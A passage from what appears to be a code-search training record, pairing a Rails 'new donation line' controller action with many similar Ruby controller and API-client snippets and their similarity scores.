opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'search'] = opts[:'search'] if !opts[:'search'].nil?\n query_params[:'next'] = opts[:'_next'] if !opts[:'_next'].nil?\n query_params[:'previous'] = opts[:'previous'] if !opts[:'previous'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/vnd.conekta-v2.1.0+json'])\n header_params[:'Accept-Language'] = opts[:'accept_language'] if !opts[:'accept_language'].nil?\n header_params[:'X-Child-Company-Id'] = opts[:'x_child_company_id'] if !opts[:'x_child_company_id'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'GetOrderDiscountLinesResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['bearerAuth']\n\n new_options = opts.merge(\n :operation => :\"DiscountsApi.orders_get_discount_lines\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DiscountsApi#orders_get_discount_lines\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def new\n @sundry_grn = SundryGrn.new\n\n 3.times do\n line= @sundry_grn.line_items.build\n end\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @sundry_grn }\n end\n end",
"def show\n @lineup = Lineup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lineup }\n end\n end",
"def show\n @item_line = ItemLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item_line }\n end\n end",
"def getLine(theLines, theIndex)\n\n\treturn theLines.fetch(theIndex, EMPTY_LINE);\n\nend",
"def create\n @line_detail = LineDetail.new(line_detail_params)\n generate_id\n respond_to do |format|\n if @line_detail.save\n format.html { redirect_to @line_detail, notice: 'Line detail was successfully created.' }\n format.json { render action: 'show', status: :created, location: @line_detail }\n else\n format.html { render action: 'new' }\n format.json { render json: @line_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @line = ReportingForms::Tanimoto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line }\n end\n end",
"def show\n @order = Order.find(params[:id])\n @line_bundles = @order.line_bundles\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end",
"def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to budget_path(@line.budget) }\n format.json { head :no_content }\n end\n end",
"def index\n @lines = Line.all\n end",
"def index\n @lines = Line.all\n end",
"def create\n @payment = Payment.find(params[:payment_id])\n @payment_line = @payment.payment_lines.build(params[:payment_line])\n\n respond_to do |format|\n if @payment_line.save\n format.html { redirect_to([@payment_line.payment, @payment_line], :notice => 'Payment line was successfully created.') }\n format.json { render :json => @payment_line, :status => :created, :location => [@payment_line.payment, @payment_line] }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @payment_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def list\n @donations = Donation.order('created_at DESC').page params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n #format.json { render json: @donations }\n end\n end",
"def orders_get_discount_line_with_http_info(id, discount_lines_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DiscountsApi.orders_get_discount_line ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling DiscountsApi.orders_get_discount_line\"\n end\n # verify the required parameter 'discount_lines_id' is set\n if @api_client.config.client_side_validation && discount_lines_id.nil?\n fail ArgumentError, \"Missing the required parameter 'discount_lines_id' when calling DiscountsApi.orders_get_discount_line\"\n end\n allowable_values = [\"es\", \"en\"]\n if @api_client.config.client_side_validation && opts[:'accept_language'] && !allowable_values.include?(opts[:'accept_language'])\n fail ArgumentError, \"invalid value for \\\"accept_language\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/orders/{id}/discount_lines/{discount_lines_id}'.sub('{' + 'id' + '}', CGI.escape(id.to_s)).sub('{' + 'discount_lines_id' + '}', CGI.escape(discount_lines_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/vnd.conekta-v2.1.0+json'])\n header_params[:'Accept-Language'] = opts[:'accept_language'] if !opts[:'accept_language'].nil?\n header_params[:'X-Child-Company-Id'] = opts[:'x_child_company_id'] if !opts[:'x_child_company_id'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'DiscountLinesResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['bearerAuth']\n\n new_options = opts.merge(\n :operation => :\"DiscountsApi.orders_get_discount_line\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DiscountsApi#orders_get_discount_line\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def set_line_detail\n @line_detail = LineDetail.find(params[:id])\n end",
"def new\n @invent_journal_line = InventJournalLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invent_journal_line }\n end\n end",
"def new\n @budget = Budget.find(params[:budget_id])\n @line = Line.new\n @line.category = params[:category]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line }\n end\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def orders_create_discount_line_with_http_info(id, order_discount_lines_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DiscountsApi.orders_create_discount_line ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling DiscountsApi.orders_create_discount_line\"\n end\n # verify the required parameter 'order_discount_lines_request' is set\n if @api_client.config.client_side_validation && order_discount_lines_request.nil?\n fail ArgumentError, \"Missing the required parameter 'order_discount_lines_request' when calling DiscountsApi.orders_create_discount_line\"\n end\n allowable_values = [\"es\", \"en\"]\n if @api_client.config.client_side_validation && opts[:'accept_language'] && !allowable_values.include?(opts[:'accept_language'])\n fail ArgumentError, \"invalid value for \\\"accept_language\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/orders/{id}/discount_lines'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/vnd.conekta-v2.1.0+json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'Accept-Language'] = opts[:'accept_language'] if !opts[:'accept_language'].nil?\n header_params[:'X-Child-Company-Id'] = opts[:'x_child_company_id'] if !opts[:'x_child_company_id'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(order_discount_lines_request)\n\n # return_type\n return_type = opts[:debug_return_type] || 'DiscountLinesResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['bearerAuth']\n\n new_options = opts.merge(\n :operation => :\"DiscountsApi.orders_create_discount_line\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DiscountsApi#orders_create_discount_line\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def line(line_no)\n @line[line_no]\n end",
"def man_req_donations\n prepareBaseContext\n @donations = Donation.where('donation_date IS NULL').order('donation_date')\n render 'petshelter/management/requests/donations'\n end",
"def new\n @sample_line = SampleLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sample_line }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {\n render json: @line_items \n }\n end\n end",
"def line_two\n @line_two\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n render json: @order_line_item\n end",
"def line_one\n return @line_one\n end",
"def destroy\n @payment = Payment.find(params[:payment_id])\n @payment_line = @payment.payment_lines.find(params[:id])\n @payment_line.destroy\n\n respond_to do |format|\n format.html { redirect_to payment_payment_lines_url(payment) }\n format.json { head :ok }\n end\n end",
"def line_items\n if line_items_downloaded?\n @line_items\n\n # There is an credit_note_is so we can assume this record was loaded from Xero.\n # attempt to download the line_item records.\n elsif credit_note_id =~ GUID_REGEX\n raise NoGatewayError unless @gateway\n\n response = @gateway.get_credit_note(credit_note_id)\n raise CreditNoteNotFoundError, \"CreditNote with ID #{credit_note_id} not found in Xero.\" unless response.success? && response.credit_note.is_a?(XeroGateway::CreditNote)\n\n @line_items = response.credit_note.line_items\n @line_items_downloaded = true\n\n @line_items\n\n # Otherwise, this is a new credit_note, so return the line_items reference.\n else\n @line_items\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @line_item }\n end\n end",
"def new\n @batting_line = BattingLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @batting_line }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @line_items }\n end\n end",
"def list_lines\n RailLine.list_lines\n end",
"def index\n @donations = Donation.order('created_at DESC').limit(10)\n\n respond_to do |format|\n format.html # index.html.erb\n #format.json { render json: @donations }\n end\n end",
"def create\n @budget_line = BudgetLine.new(budget_line_params)\n\n respond_to do |format|\n if @budget_line.save\n format.html { redirect_to @budget_line, notice: 'Budget line was successfully created.' }\n format.json { render :show, status: :created, location: @budget_line }\n else\n format.html { render :new }\n format.json { render json: @budget_line.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6941676",
"0.64443237",
"0.63708204",
"0.6100936",
"0.6055975",
"0.6035656",
"0.5873022",
"0.5801722",
"0.57899505",
"0.57490516",
"0.57054156",
"0.5700843",
"0.56779456",
"0.5642454",
"0.55720943",
"0.55626714",
"0.55609953",
"0.55422795",
"0.5538787",
"0.5529506",
"0.5482416",
"0.5468727",
"0.54505277",
"0.5432306",
"0.541735",
"0.5416261",
"0.5416261",
"0.5416261",
"0.5416261",
"0.5416261",
"0.5416261",
"0.5416261",
"0.54080427",
"0.54060894",
"0.5387687",
"0.53855574",
"0.538474",
"0.53653324",
"0.53431606",
"0.5339675",
"0.5338527",
"0.5335645",
"0.531754",
"0.5312063",
"0.530073",
"0.5284407",
"0.52826655",
"0.5273534",
"0.52689785",
"0.52680904",
"0.52608085",
"0.52561885",
"0.52556336",
"0.5252403",
"0.5246455",
"0.52452105",
"0.52452105",
"0.52354306",
"0.52217305",
"0.5219841",
"0.52012837",
"0.5196052",
"0.51821476",
"0.51819146",
"0.51819146",
"0.51819146",
"0.51819146",
"0.51819146",
"0.5177341",
"0.5174932",
"0.5174932",
"0.5174932",
"0.51721895",
"0.516103",
"0.51572657",
"0.51553506",
"0.51523423",
"0.51523423",
"0.51523423",
"0.51523423",
"0.5149443",
"0.5149443",
"0.5149443",
"0.5149443",
"0.5149443",
"0.5149443",
"0.5149443",
"0.5149443",
"0.5149443",
"0.5149443",
"0.51471967",
"0.5146487",
"0.514454",
"0.51209754",
"0.5120837",
"0.5118217",
"0.51074666",
"0.5104261",
"0.5104138",
"0.509055"
] |
0.7397559
|
0
|
GET /donation_lines/new GET /donation_lines/new.json
|
def new
@donation_line = DonationLine.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @donation_line }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @line = Line.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @lineup = Lineup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lineup }\n end\n end",
"def new\n @lineitem = Lineitem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lineitem }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @line_item }\n end\n end",
"def new\n @line = Line.new\n authorize! :new, @line\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line }\n end\n end",
"def new\n @donation = Donation.new\n\n respond_to do |format|\n format.html # new.html.erb\n #format.json { render json: @donation }\n end\n end",
"def new\n @order_line = OrderLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order_line }\n end\n end",
"def new\n @payment = Payment.find(params[:payment_id])\n @payment_line = @payment.payment_lines.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @payment_line }\n end\n end",
"def new\n @line_item1 = LineItem1.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @line_item1 }\n end\n end",
"def new\n @invent_journal_line = InventJournalLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invent_journal_line }\n end\n end",
"def new\n @item_line = ItemLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item_line }\n end\n end",
"def new\n @sample_line = SampleLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sample_line }\n end\n end",
"def create\n @donation_line = DonationLine.new(params[:donation_line])\n\n respond_to do |format|\n if @donation_line.save\n format.html { redirect_to @donation_line, notice: 'Donation line was successfully created.' }\n format.json { render json: @donation_line, status: :created, location: @donation_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @donation_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @batting_line = BattingLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @batting_line }\n end\n end",
"def new\n @sundry_grn = SundryGrn.new\n\n 3.times do\n line= @sundry_grn.line_items.build\n end\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @sundry_grn }\n end\n end",
"def show\n @donation_line = DonationLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @donation_line }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n end\n end",
"def new\n @line = ReportingForms::Tanimoto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line }\n end\n end",
"def new\n @shipping_line = ShippingLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @shipping_line }\n end\n end",
"def new\n @donation = Donation.new\n\t\t@donor = Donor.find(params[:donor_id])\n\t\t@donation.donor = @donor\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @donation }\n end\n end",
"def new\n @product_line = ProductLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @product_line }\n end\n end",
"def new\n @extension_line = ExtensionLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @extension_line }\n end\n end",
"def new\n @disclaimer = Disclaimer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @disclaimer }\n format.js\n end\n end",
"def new\n @lease = Lease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @lease }\n end\n end",
"def new\n @chatline = Chatline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @chatline }\n end\n end",
"def new\n @budget = Budget.find(params[:budget_id])\n @line = Line.new\n @line.category = params[:category]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line }\n end\n end",
"def new\n @notice = @person.notices.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @notice }\n end\n end",
"def new\n @purchase_order_item_line = PurchaseOrderItemLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @purchase_order_item_line }\n end\n end",
"def new\n @weekline = Weekline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @weekline }\n end\n end",
"def new\n @pledge = Pledge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pledge }\n end\n end",
"def new\n @pledge = Pledge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pledge }\n end\n end",
"def new\n @note = Note.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @notes }\n end\n end",
"def new\n @journal_line = JournalLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @journal_line }\n end\n end",
"def new\n @popularty_line_item = PopulartyLineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @popularty_line_item }\n end\n end",
"def new\n @patent = Patent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patent }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def new\n @line_station = LineStation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_station }\n end\n end",
"def new\n @outdonation = Outdonation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @outdonation }\n end\n end",
"def new\n fetch_data\n @payment = Payment.new(:payment_date => Date.today)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @payment }\n end\n end",
"def new\n # @donation_year_link = DonationYearLink.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @donation_year_link }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @interest }\n end\n end",
"def new\n @data_note = DataNote.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @data_note }\n end\n end",
"def new\n @note = Note.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @note }\n end\n end",
"def new\n @note = Note.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @note }\n end\n end",
"def new\n @note = Note.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @note }\n end\n end",
"def new\n @note = Note.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @note }\n end\n end",
"def new\n @comment_relationship = CommentRelationship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @comment_relationship }\n end\n end",
"def new\n @delivery_note = DeliveryNote.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @delivery_note }\n end\n end",
"def new\n @discipline = Discipline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @discipline }\n end\n end",
"def new\n # @donor = Donor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @donor }\n end\n end",
"def new\n @dependent_relationship = DependentRelationship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dependent_relationship }\n end\n end",
"def new\n # @donation_type = DonationType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @donation_type }\n end\n end",
"def new\n @person_interest = PersonInterest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person_interest }\n end\n end",
"def new\n @nlp = Nlp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nlp }\n end\n end",
"def new\n @discipline = Discipline.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @discipline }\n end\n end",
"def new\n @trail = Trail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trail }\n end\n end",
"def new\n @trail = Trail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trail }\n end\n end",
"def new\n @correction = Correction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @correction }\n end\n end",
"def new\n @note = Note.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @note }\n end\n end",
"def new\n @invoice = Invoice.new\n $details = Array.new\n @customers = Customer.all\n @retire_notes = Array.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end",
"def new\n @ledger_entry = LedgerEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @ledger_entry }\n end\n end",
"def new\n @trnodo = Trnodo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trnodo }\n end\n end",
"def new\n\n #@credit_line = CreditLine.new\n @admin=Admin.find(current_admin.id)\n @credit_line = @admin.credit_lines.new\n\n puts (@admin.name)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @credit_line }\n end\n end",
"def new\n @line_item = LineItem.new(:order_id => params[:order_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def new\r\n @lineitem = Lineitem.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @lineitem }\r\n end\r\n end",
"def new\n @task_note = Note.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task_note }\n end\n end",
"def new\n @linea = Linea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @linea }\n end\n end",
"def new\n @invoice_adjustment_line = InvoiceAdjustmentLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invoice_adjustment_line }\n end\n end",
"def new\n @invoice = @last_invoice ? Invoice.new(@last_invoice.attributes.except('number')) : Invoice.new\n respond_to do |format|\n format.html {}\n format.json { render json: @last_invoice, status: :ok, location: @last_invoice }\n end\n\n end",
"def new\n @lost = Lost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lost }\n end\n end",
"def new\n @dish_comment = @dish.dish_comments.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dish_comment }\n end\n end",
"def new\n @nail_salon = NailSalon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nail_salon }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @certification }\n end\n end",
"def new\n @pony = Pony.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pony }\n end\n end",
"def new\n @news_datum = NewsDatum.new\n @news_cates = NewsCate.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news_datum }\n end\n end",
"def new\n @goal_comment = GoalComment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @goal_comment }\n end\n end",
"def new\n @donation_request = DonationRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @donation_request }\n end\n end",
"def new\n @annex = Annex.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @annex }\n end\n end",
"def new\n @interest = Interest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interest }\n end\n end",
"def new\n @diagnosis = Diagnosis.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @diagnosis }\n end\n end",
"def new\n @breakdown = Breakdown.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @breakdown }\n end\n end",
"def new\n @dossier = Dossier.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dossier }\n end\n end",
"def new\n load_data\n @comment = Comment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @comment }\n end\n end",
"def new\n @new_comm = NewComm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_comm }\n end\n end",
"def new\n @journal = Journal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json :@journal }\n end\n end",
"def new\n @approval = Approval.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @approval }\n end\n end",
"def new\n @interest = Interest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @interest }\n end\n end",
"def new\n @storyline = Storyline.new\n @placeholder_text = \"Now then, let's begin...\"\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @storyline }\n end\n end"
] |
[
"0.68347263",
"0.6398964",
"0.6398964",
"0.6398964",
"0.6398964",
"0.6398964",
"0.6398964",
"0.6398964",
"0.6398964",
"0.6398964",
"0.6398964",
"0.63758355",
"0.63548493",
"0.6345284",
"0.63239485",
"0.6313589",
"0.62955207",
"0.6286841",
"0.6266587",
"0.6261535",
"0.62552613",
"0.6183556",
"0.6179115",
"0.5986657",
"0.5978851",
"0.597483",
"0.5953151",
"0.5921166",
"0.5909699",
"0.58516955",
"0.5831858",
"0.5811238",
"0.5787964",
"0.57864136",
"0.57771564",
"0.57557327",
"0.574789",
"0.5740223",
"0.5739472",
"0.57272893",
"0.57272893",
"0.57145923",
"0.57115823",
"0.57093185",
"0.57063156",
"0.5694591",
"0.56910443",
"0.568873",
"0.5687282",
"0.5682722",
"0.56705993",
"0.56705993",
"0.5665435",
"0.5653473",
"0.56531197",
"0.56531197",
"0.56531197",
"0.56531197",
"0.5644043",
"0.56370914",
"0.5624149",
"0.5615876",
"0.56120706",
"0.56101215",
"0.56004274",
"0.55959255",
"0.5591736",
"0.5587903",
"0.5587903",
"0.55810165",
"0.5572049",
"0.55691516",
"0.5567259",
"0.55637616",
"0.55536497",
"0.55355644",
"0.5534389",
"0.5532798",
"0.5523499",
"0.5522151",
"0.55188733",
"0.5515579",
"0.5513918",
"0.55073804",
"0.5501852",
"0.54748946",
"0.5469726",
"0.5464685",
"0.54639",
"0.5461852",
"0.5460439",
"0.5455908",
"0.54552186",
"0.54526216",
"0.54485446",
"0.54470336",
"0.54368716",
"0.54358685",
"0.5431653",
"0.54257125"
] |
0.75985366
|
0
|
POST /donation_lines POST /donation_lines.json
|
def create
@donation_line = DonationLine.new(params[:donation_line])
respond_to do |format|
if @donation_line.save
format.html { redirect_to @donation_line, notice: 'Donation line was successfully created.' }
